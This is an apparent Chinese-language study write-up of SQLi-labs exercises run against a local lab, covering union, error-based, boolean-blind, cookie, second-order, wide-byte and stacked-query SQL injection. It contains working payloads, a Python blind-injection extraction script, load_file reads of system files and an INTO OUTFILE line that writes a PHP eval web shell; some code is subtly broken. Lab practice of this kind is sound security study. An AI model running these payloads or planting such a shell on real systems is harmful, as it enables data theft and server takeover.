巩固sql注入

0x01 认证绕过
sqlilab 1
整个注入的流程:
数据库名–>数据表名–>字段名–>数据名

此次的实验平台是sqlilab的第一题,我个人觉得第一题虽然最为简单,但是却最为重要,毕竟万事开头难嘛。
这里补充一些关于mysql的知识点:
mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表

SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。

TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表

COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。

1
2
3
4
5
6
7
8
information_schema.tables存储了数据表的元数据信息,下面对常用的字段进行介绍:
table_schema: 记录数据库名;
table_name: 记录数据表名;
engine : 存储引擎;
table_rows: 关于表的粗略行估计;
data_length : 记录表的大小(单位字节);
index_length : 记录表的索引的大小;
row_format: 可以查看数据表是否压缩过;

我们先爆出数据所在的数据表的列数
http://localhost/sqlilab/Less-1/?id=1' order by 4 --+
1

发现错误,那么我们试试
http://localhost/sqlilab/Less-1/?id=1' order by 3 --+
1

说明有三列,那么接下来我们爆出它的数据库名,这道题是比较简单的认证绕过,因为源码中没有任何过滤所以就可以为所欲为。
爆它的数据库名:
http://localhost/sqlilab/Less-1/?id=-1' union select 1,database(),version()--+
1

数据库名已出,那么接下来爆出它的表名
http://localhost/sqlilab/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
1

数据表名已出,接下来爆出它的字段名(我们这里爆email的字段名)
http://localhost/sqlilab/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27emails%27--+
1

之前爆不出数据表users的字段名:这下我发现正确的爆库payload是:
http://localhost/sqlilab/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

爆数据
http://localhost/sqlilab/Less-1/?id=-1' union select id,email_id,3 from emails where id=1 --+
1

这就出来了,实际上这里有些东西是可以通过脚本来进行自动化注入。
(剩下的2,3,4题观察其源码就知道稍微修改就好)

0x02
sqlilab 5
这道题有两个解法,一个是通过双注入,一个是通过盲注脚本
先讲第一个解法,通过双注入来完成注入,这里要补充一下mysql的一些知识:

先来一个很简单的例子:
select concat(select database());
这就是一个简单的双查询的过程,简单理解的情况下就是查询该数据库,通过concat()函数,concat()这个函数用于连接前后两个字符串,比如concat(‘a’,’b’),结果就是ab.

学习几个常见双注入需要的函数/语法:

  1. Rand() //随机函数
  2. Floor() //取整函数
  3. Count() //汇总函数
  4. Group by clause //分组语句

代码一:
1

代码二:
1

代码三:
1

代码四:(在上面的代码加入from将会返回一个集合)
1

代码五:(加入group by,使得相同的值被分到同一个分组)
1

代码六:最后一步,在concat前加入聚合函数 count(*)
1

现在我们来了解这道题,首先爆出列数,按照最简单的payload来
http://localhost/sqlilab/Less-5/?id=-1' union select count(*),concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a --+
1
发现出现问题了,所以现在我们就可以去试出它的列数为3,
所以正确的payload为:
http://localhost/sqlilab/Less-5/?id=-1' union select count(*),2,concat('*',(select, database()),'*',floor(rand()*2))as a from information_schema.tables group by a --+
我们可以爆出它的数据库名为:
1

爆出其数据表名:
http://localhost/sqlilab/Less-5/?id=-1' union select count(*),2,concat('*',(select group_concat(column_name) from information_schema.columns where table_name='users'),'*',floor(rand()*2))as a from information_schema.tables group by a --+
1

爆出其字段名:
http://localhost/sqlilab/Less-5/?id=-1' union select count(*),2,concat('*',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'*',floor(rand(0)*2))as a from information_schema.tables group by a --+

接下来就按照常规的操作来获取其数据值:(可写脚本通过自动化注入)
?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a --+

0x03

sqlilab 5(盲注)
这道题,这次使用盲注,我们通过认证绕过的payload会发现,如果注入成功,将会返回“You are in………”
关于布尔盲注的知识稍后再进行补充
放上脚本,我是把整个过程拆块儿进行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
0x01
# coding=UTF-8
import re
import string
import requests

#获取数据库名的长度
#获取链接

print("--------------------------------------------------------")
print("开始获取数据库长度......")
for x in range (0,20):
url = "http://127.0.0.1/sqlilabs/Less-5/?id=1'and(length(database())=%d)--+"%x
# 获取页面内容
r = requests.get(url)
r.encoding = r.apparent_encoding
demo = r.text

#使用正则表达式判断demo中是否有与 "you are in ......" 相匹配的内容
try:
ans = re.compile("You are in").search(demo)#检测是否匹配到相关信息
except:
print 'fail to match'
if ans == None:#判断ans("You are in.......")是否在该页面中
print 'waiting for a moment........'
else:
print 'the length of database is %d'%x
db_length = x
print "获取数据库长度成功"
print("--------------------------------------------------------")
break

#获取数据库名称
print "开始获取数据库名......"
#获取链接
list = []
for word in string.lowercase:
list.append(word)
db_list=[]#该列表用于存储获取到的数据库的字符
for x in range(1,db_length+1):
for y in list:
url = "http://127.0.0.1/sqlilabs/Less-5/?id=1'and(substr(database(),%d,1)='%%s')--+"%x %y#这里注意使用%%s转义
#获取页面内容
r = requests.get(url)
r.encoding = r.apparent_encoding
demo = r.text
#对获取到的页面信息进行正则表达式匹配
try:
ans = re.compile("You are in").search(demo) # 检测是否匹配到相关信息
except:
print 'fail to match'
if ans != None: # 判断ans("You are in.......")是否在该页面中
print 'the true letter of database is %s' % y
print '获取第%d个字母成功' % x
break
db_list.append(y)
db_name = "".join(db_list)
print "the name of database is "+ db_name
print "获取数据库名成功"
print("--------------------------------------------------------")

#获取该数据库中的数据表数目
#获取链接
db_name = 'security'
print("开始获取该数据库中的数据表数目......")
for x in range(0, 50):
#这里又一个转义的问题需要关注
url = "http://127.0.0.1/sqlilabs/Less-5/?id=1'and(( SELECT count(*) FROM information_schema.tables WHERE TABLE_SCHEMA = '%s')='%d')--+"%(db_name , x)
# 获取页面内容
r = requests.get(url)
r.encoding = r.apparent_encoding
demo = r.text

# 使用正则表达式判断demo中是否有与 "you are in ......" 相匹配的内容
try:
ans = re.compile("You are in").search(demo) # 检测是否匹配到相关信息
except:
print 'fail to match'
if ans != None: # 判断ans("You are in.......")是否在该页面中
print 'the number of tables is %d' % x
table_count = x
print "获取数据库表数目成功"
break
else:
print '数据库表的数目不是%d'%x
print '获取数据库表数目成功,数目为%d'%table_count

list = []
for word in string.lowercase:
list.append(word)
#获取数据库表,各个数据表名的长度以及数据表名
for x in range(0,table_count):
print '开始获取第%d个表的长度.....'%x
for y in range(1,20):
url = "http://127.0.0.1/sqlilabs/Less-5/?id=1'and(ascii(substr((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA = '%s' limit %d,1),%d,1)))--+"%(db_name,x,y)
r = requests.get(url)
r.encoding = r.apparent_encoding
demo = r.text
if 'You are in...........' not in r.text: # 判断ans("You are in.......")是否在该页面中
_table_length = y-1
print '获取到此表的长度为:%d'%_table_length
break

print '开始获取该表的表名'
table_name=[]
for y in range(0,_table_length+1):
for z in list:
url = "http://127.0.0.1/sqlilabs/Less-5/?id=1'and(substr((SELECT table_name FROM information_schema.tables where table_schema = '%s' limit %d,1),%d,1) = '%s')--+"%(db_name,x,y,z)
r = requests.get(url)
r.encoding = r.apparent_encoding
demo = r.text
if 'You are in...........' in r.text:
table_name.append(z)
break
tb_name = "".join(table_name)
print '该表的名字为:'+tb_name


0x02
# coding=UTF-8
import requests
table_name = 'users'
#获取该表中的列数
for i in range(1, 20):
url = "http://127.0.0.1/sqlilabs/Less-5/?id= 1'and ((select count(column_name) from information_schema.columns where table_name = '%s')=%d) --+" % (table_name, i)
# 获取页面内容
r = requests.get(url)
r.encoding = r.apparent_encoding
if 'You are in...........' in r.text: # 判断ans("You are in.......")是否在该页面中
print 'the number of columns is %d' % i
column_count = i
print "获取数据表列数目成功"
break
print '获取%s表列数目成功,数目为%d' % (table_name, column_count)

#获取列的长度
import string
list = []
for word in string.lowercase:
list.append(word)
for x in range(0,column_count):
print '开始获取第%d个列的长度.....'%x
for y in range(1,20):
url = "http://127.0.0.1/sqlilabs/Less-5/?id=1'and(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name = '%s' limit %d,1),%d,1)))--+"%(table_name,x,y)
r = requests.get(url)
r.encoding = r.apparent_encoding
demo = r.text
if 'You are in...........' not in r.text: # 判断ans("You are in.......")是否在该页面中
_column_length = y-1
print '获取到此列的长度为:%d'%_column_length
break

#获取数据库表中各列的名称
column_name=[]
for y in range(0, _column_length + 1):
for z in list:
url = "http://127.0.0.1/sqlilabs/Less-5/?id=1'and(substr((SELECT column_name FROM information_schema.columns where table_name = '%s' limit %d,1),%d,1) = '%s')--+" % (table_name, x, y, z)
r = requests.get(url)
r.encoding = r.apparent_encoding
demo = r.text
if 'You are in...........' in r.text:
column_name.append(z)
break
co_name = "".join(column_name)
print '该列的名字为:' + co_name


0x03
#coding=UTF-8
import requests
import string
database_name = 'security'
table_name = 'users'
column_name = 'username'
#获取该列的字段数目
for i in range(1, 50):
url = "http://127.0.0.1/sqlilabs/Less-5/?id= 1'and ((select count(%s) from %s.%s)=%d) --+" % (column_name,database_name,table_name,i)
# 获取页面内容
r = requests.get(url)
r.encoding = r.apparent_encoding
if 'You are in...........' in r.text: #
print 'the number of 该字段 is %d' % i
all_column_count = i
print "获取字段总数目成功,数目是:%d"%all_column_count
break


#获取字段的长度
list = []
for word in string.lowercase:
list.append(word)
for x in range(0,all_column_count):
print '开始获取第%d个字段的长度.....'%x
for y in range(1,20):
url = "http://127.0.0.1/sqlilabs/Less-5/?id=1'and(ascii(substr((SELECT %s FROM %s.%s limit %d,1),%d,1)))--+"%(column_name,database_name,table_name,x,y)
r = requests.get(url)
r.encoding = r.apparent_encoding
demo = r.text
if 'You are in...........' not in r.text: # 判断ans("You are in.......")是否在该页面中
dump_length = y-1
print '获取到此字段的长度为:%d'%dump_length
break

#获取该字段内容
dump_name=[]
for y in range(0, dump_length-1):
for z in (0,256):
url = "http://127.0.0.1/sqlilabs/Less-5/?id=1'and(ascii(substr((SELECT %s FROM %s.%s limit %d,1),%d,1)) = %d)--+" %(column_name,database_name,table_name, x, y, z)
r = requests.get(url)
r.encoding = r.apparent_encoding
demo = r.text
if 'You are in...........' in r.text:
t=chr(z)
dump_name.append(t)
break
this_dump_name = "".join(dump_name)
print this_dump_name

这是我整个注入的过程,有不好的地方,代码还会再进行修改。

第六题和第五题一样,只要对payload稍作修改就好。

0x04

报错注入:
知识点链接:
(https://blog.csdn.net/zpy1998zpy/article/details/80631036)[https://blog.csdn.net/zpy1998zpy/article/details/80631036]
这里我们要学习一下
基于extractvalue()和updatexml()的报错注入
具体内容看上面的链接,反正都是从别人那儿搬来的知识点,我就不重复了.

extractvalue(): 对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

1
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

updatexml():
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
关于updatexml()的知识点:http://www.cnblogs.com/AmoBlogs/p/8673748.html
语法updatexml(目标xml文档,xml路径,更新的内容)

1
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

sqli-lab 7

知识点:mysql关于文件操作(文件的读/写):

load_file()

通过load_file函数将文件内容爆出来,使用load_file函数的前提是:

1
2
3
4
5
6
7
8
9
10
11
1.当前权限对该文件可读

2.文件在该服务器上

3.路径完整

4.文件大小小于max_allowed_packet

5.当前数据库用户有FILE权限

6.secure_file_priv的值为空,如果值为某目录,那么就只能对该目录的文件进行操作

例子:

1
2
3
select load_file('D:\xampp\htdocs\www\wanju\htaccess.txt')

select load_file('/etc/hosts')

所以我在这附近的一篇博客中写道关于Mysql注入loadfile常见路径,目的就是为了能够获取到服务器的一些相关信息。

select … into outfile

使用此语句,我们可以将select内容导入文件

1
2
3
4
5
6
7
8
9
(1)目标目录要有可写权限

(2)当前数据库用户要有FILE权限

(3)目标文件不能已存在

(4)secure_file_priv的值为空

(5)路径完整

这里一般可以想到常见的使用一句话木马来连接对方的服务器。

观察源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

如果我们注入正确将会返回,’You are in…. Use outfile……’,
payload中如果想要导入一句话木马的话

1
?id=1')) UNION SELECT 1,2,'<?php @eval($_post["c"])?>' into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7\\test.php"--+

sqli-lab 17

这道题,首先看到修改密码,那么要想起mysql中修改数据的语句
基本语法如下:

1
UPDATE user SET password = 'passwd' WHERE user = 'username'

查看源码可知:

1
2
3
4
5
6
7
8
9
10
11
12
13
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";

所以payload的构造中,我们要构造使得passwd闭合,然后username就随意吧。

1
username=admin&passwd=-1'and extractvalue(1,concat(0x7e,(select database()),0x7e))#&Submit=submit

sqlilab-20

我觉得这道题,实际上是一个cookie注入(个人这么认为)
一个cookie注入的实现有两点:

1
2
3
4
5
条件1是:

程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤

条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了

所以这里就要说到HTTP中cookie的工作过程了,当我们的浏览器带着认证信息,发出HTTP请求后,服务器将会对认证信息进行确认,然后,返回HTTP响应,并且在浏览器中种下cookie,浏览器下次发送HTTP请求时就会带上这个cookie,然后服务器再一次解析cookie,推送相应内容。

所以这次的sql注入点之所以在cookie,就是由于未对cookie进行过滤,所以使得注入有机可乘。

看关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
if(isset($_POST['uname']) && isset($_POST['passwd']))
{

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);




$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
setcookie('uname', $cookee, time()+3600);


if(!isset($_POST['submit']))
{

$cookee = $_COOKIE['uname'];//最关键的代码
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;




echo "<br></font>";
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";//最关键的代码
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)

第一次成功登录后服务器将会在浏览器种下cookie

下一次刷新后,也就是再一次发起HTTP请求,此时将会带上cookie

那我们修改cookie,就能进行注入

1
uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

现在总算觉得对这道题有所理解,我之前都在干啥啊

sqlilab-23

这道题中,观察源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if(isset($_GET['id']))
{
$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

可以见到在这道题中’#’和’–’已经被过滤掉了,而其中的sql语句又为

1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

此处的payload为

1
-1' union select 1,database(),'3

实际上这条语句为:

1
SELECT * FROM users WHERE id='-1' union select 1,database(),'3' limit 0,1

与之前的注释性闭合不同的是,这里我们构造新的闭合,在sql注入中有一点我觉得需要注意的就是sql语句的完整性。

同样可以使用报错注入,构造payload:

1
-1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from  information_schema.columns where table_schema='security' and table_name='users'),0x7e)) or '1'='1

sqlilab-24

参考文章:https://www.freebuf.com/articles/web/167089.html
参考文章:http://www.w3school.com.cn/php/func_mysql_real_escape_string.asp
这道题是关于二次注入,这道注入题,先来分析源码,建议把这道题的目录下的所有代码都看一遍,知道这道题是如何运作的
先是new_user.php,这段代码,可以看出,我们提交三个值分别为:username,password,re_password

1
2
3
4
5
<input name="username" id="username" type="text" value="" /> 

<input name="password" id="password" type="password" value="" />

<input name="re_password" id="re_password" type="password" value="" />

接着是login_create.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (isset($_POST['submit']))
{


# Validating the user input........

//$username= $_POST['username'] ;
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);

这段代码中有两个点,我觉得是需要注意的,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql_escape_string()函数
(php<5.4)
用于对sql中的特殊字符进行转义,特殊字符包括:

\x00
\n
\r
\
'
"
\x1a

本函数和 mysql_real_escape_string() 完全一样,
除了 mysql_real_escape_string() 接受的是一个连接句柄并根据当前字符集转移字符串之外。mysql_escape_string() 并不接受连接参数,也不管当前字符集设定。

用一个例子来进行说明

1
2
3
4
<?php
$str = "SELECT * FROM users where id = 1' or '1'='1";
echo mysql_escape_string($str);
?>

返回的内容

1
SELECT * FROM users where id = 1\' or \'1\'=\'1

另一个点

1
$sql = "select count(*) from users where username='$username'";

关键代码:

1
2
3
4
5
6
if ($pass==$re_pass)
{
# Building up the query........

$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());

创建新的用户,然后这里有一个问题就是当我们输入问题用户为: admin’# 时,在数据库中查看发现并没有被转义啊,数据进入数据库后,将会被再次还原。

当我们创建新的用户后,登录后,修改密码,查看源码pass_change.php,

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

当我们创建一个新用户 admin’# ,登录后,去修改其密码,那么sql语句就会为:

1
UPDATE user SET PASSWO='cookie' where username = 'admin'#' and password = 'test';

二次注入由此完成

sqlilab-25

关键代码:

1
2
3
4
5
6
7
8
9
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
...
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}

这里可见or还有and被过滤掉了。

所以在在这里我们使用

1
2
|| 代替 or
&& 代替 and

所以这道题的payload为

1
?id=-1'|| extractvalue(1,concat(0x7e,(select database()))) || '1'='1

sqlilab-25a

此题观察源码

1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

没有报错项,且未有单引号掣肘。

所以同25题一样。
payload:

1
http://127.0.0.1/sqlilabs/Less-25a/?id=-1%20UNION%20select%201,version(),3 || 1=1

sqlilab-32

这里讲的是宽字节注入,先看看关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash


return $string;
}

// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

如果根据其查询语句,我们构造的payload为

1
2
?id=1'#
或者?id=1%27%23

然后此时在函数check_addslashes()的作用下,”‘“将会被转换成”\’”;
所以在数据传输到数据库之前,payload会变为

1
?id=1%5c%27%23

而源码中的

1
mysql_query("SET NAMES gbk");

这个函数将mysql的三个字符集设置为gbk,而gbk有一个特点就是两个字符为一个汉字,例如%aa%5c 就是一个
汉字(前一个 ascii 码大于 128 才能到汉字的范围)

所以此时我们输入的payload中的 %5c%27 将被作为一个汉字进行处理,就此注入失败。

所以我们这里修改payload为

1
?id=1%df%27%23

转义后就是

1
?id=1%df%5c%27%23

和上面一样,此时%df%5c作为一个字符传输进去,后面的%27%23不受影响。
可见这道题意在过滤掉”‘“.
所以这里我们构造payload

1
?id=-1%df%27union%20select%201,user(),3--+

sqlilab-34

先来介绍一下函数addslashes()

1
2
3
4
5
6
7
8
9
10
11
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

单引号(')

双引号(")

反斜杠(\)

NULL

观察源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];

//echo "username before addslashes is :".$uname1 ."<br>";
//echo "Input password before addslashes is : ".$passwd1. "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname1);
fwrite($fp,'Password:'.$passwd1."\n");
fclose($fp);

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

//echo "username after addslashes is :".$uname ."<br>";
//echo "Input password after addslashes is : ".$passwd;

// connectivity
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

观察到在源码中有这么一段:

1
2
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

也就是说我们所POST的uname还有passwd将会被转义
同样的数据库的编码被设置为GBK,这里我们将需要把utf8转换为utf16,也就是说 “ ‘ “要转换为 “ � ‘ “。
payload为:

1
2
username:� ' or 1=1#
password:随便填

sqlilab-38(堆叠注入)

参考文章http://php.net/manual/zh/mysqli.multi-query.php
参考文章https://www.jianshu.com/p/c50ced83414d

介绍函数mysqli_multi_query()

1
2
3
mysqli_multi_query():

执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。

利用这个函数

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);   
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}

所以构造payload如下:

1
?id='; insert into users(id,username,password) value (66,'acca','bbc')--+

尝试对数据库进行数据的添加操作

由此一个堆叠注入完成,实际上在真正应用中堆叠注入并不是在大部分情况下能够成功过的,其局限性还是很大的。在php源码中要有mysqli_multi_query()这个函数,并且数据库引擎支持的情况下才可以进行。

sqlilab-42

观察下列源码:(login.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function sqllogin($host,$dbuser,$dbpass, $dbname){
// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
}


/* execute multi query */


$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result))
{
if ($row[1])
{
return $row[1];
}

发现username被转义,而password并未被转义,那么payload:

1
2
username:admin(随便写)
password:-1';create table test2 like users#

0%